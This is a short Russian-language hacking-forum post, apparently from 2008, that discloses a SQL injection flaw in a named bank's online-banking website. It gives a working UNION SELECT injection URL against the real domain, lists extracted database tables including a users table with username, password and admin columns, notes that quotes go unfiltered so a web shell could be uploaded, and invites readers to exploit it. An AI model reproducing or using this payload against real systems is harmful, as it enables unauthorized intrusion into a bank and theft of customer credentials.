
27.02.2008, 13:21
|
|
Участник форума
Регистрация: 27.11.2007
Сообщений: 233
Провел на форуме: 1379382
Репутация:
378
|
|
банкирЫЫЫ -)
мда, все-таки решил выложить на благо родного ачата...
ВНИМАНИЕ: Сегодня у нас БАНК (точнее сайт онлайн банкинга) - дырявый как windows 98 =)
Версия мускула - 5 с хреном, соответственно, есть доступ к :
_http://www.mcb-bank.com/index.php?nd=menu&id=9999+union+select+1,TABLE_NAM E,3,4,5,6,7,8+from+INFORMATION_SCHEMA.TABLES/*
Наиболее приглянувшиеся мне таблицы:
===================================
isearch_admin_log
messages
message_id
message_image
message_month
message_year
message_title
specials
id
titel
text
image
active
...
users
id
username
password
admin
lastlogin
===================================
и самое интересное - КАВЫЧКИ НЕ ФИЛЬТРУЮТСЯ ВООБЩЕ!!!
так что, есть возможность залить шелл.
Вобщем, пользуйтесь на здоровье 
|
|
|